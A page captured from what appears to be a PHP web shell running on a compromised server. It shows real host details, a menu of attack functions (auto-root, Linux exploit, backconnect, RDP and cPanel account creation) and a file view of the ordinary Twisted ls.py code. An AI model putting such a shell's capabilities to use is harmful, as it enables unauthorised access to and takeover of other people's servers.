Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
conch /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
insults
[ DIR ]
drwxr-xr-x
openssh_compat
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
__init__.py
198
B
-rw-r--r--
avatar.py
1.6
KB
-rw-r--r--
checkers.py
18.97
KB
-rw-r--r--
endpoints.py
29.26
KB
-rw-r--r--
error.py
2.6
KB
-rw-r--r--
interfaces.py
14.57
KB
-rw-r--r--
ls.py
2.63
KB
-rw-r--r--
manhole.py
11.57
KB
-rw-r--r--
manhole_ssh.py
4.32
KB
-rw-r--r--
manhole_tap.py
5.36
KB
-rw-r--r--
mixin.py
1.34
KB
-rw-r--r--
recvline.py
18.71
KB
-rw-r--r--
stdio.py
2.71
KB
-rw-r--r--
tap.py
3.12
KB
-rw-r--r--
telnet.py
37.16
KB
-rw-r--r--
ttymodes.py
2.14
KB
-rw-r--r--
unix.py
16.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ls.py
# -*- test-case-name: twisted.conch.test.test_cftp -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. import array import stat from time import localtime, strftime, time # Locale-independent month names to use instead of strftime's _MONTH_NAMES = dict( list( zip( list(range(1, 13)), "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(), ) ) ) def lsLine(name, s): """ Build an 'ls' line for a file ('file' in its generic sense, it can be of any type). """ mode = s.st_mode perms = array.array("B", b"-" * 10) ft = stat.S_IFMT(mode) if stat.S_ISDIR(ft): perms[0] = ord("d") elif stat.S_ISCHR(ft): perms[0] = ord("c") elif stat.S_ISBLK(ft): perms[0] = ord("b") elif stat.S_ISREG(ft): perms[0] = ord("-") elif stat.S_ISFIFO(ft): perms[0] = ord("f") elif stat.S_ISLNK(ft): perms[0] = ord("l") elif stat.S_ISSOCK(ft): perms[0] = ord("s") else: perms[0] = ord("!") # User if mode & stat.S_IRUSR: perms[1] = ord("r") if mode & stat.S_IWUSR: perms[2] = ord("w") if mode & stat.S_IXUSR: perms[3] = ord("x") # Group if mode & stat.S_IRGRP: perms[4] = ord("r") if mode & stat.S_IWGRP: perms[5] = ord("w") if mode & stat.S_IXGRP: perms[6] = ord("x") # Other if mode & stat.S_IROTH: perms[7] = ord("r") if mode & stat.S_IWOTH: perms[8] = ord("w") if mode & stat.S_IXOTH: perms[9] = ord("x") # Suid/sgid if mode & stat.S_ISUID: if perms[3] == ord("x"): perms[3] = ord("s") else: perms[3] = ord("S") if mode & stat.S_ISGID: if perms[6] == ord("x"): perms[6] = ord("s") else: perms[6] = ord("S") if isinstance(name, bytes): name = name.decode("utf-8") lsPerms = perms.tobytes() lsPerms = lsPerms.decode("utf-8") lsresult = [ lsPerms, str(s.st_nlink).rjust(5), " ", str(s.st_uid).ljust(9), str(s.st_gid).ljust(9), str(s.st_size).rjust(8), " ", ] # Need to specify the month manually, as strftime depends on locale ttup = localtime(s.st_mtime) sixmonths = 60 * 60 * 24 * 7 * 26 if s.st_mtime + sixmonths < time(): # Last edited more than 6mo ago strtime = strftime("%%s %d %Y ", ttup) else: strtime = strftime("%%s %d %H:%M ", ttup) lsresult.append(strtime % (_MONTH_NAMES[ttup[1]],)) lsresult.append(name) return "".join(lsresult) __all__ = ["lsLine"]
Close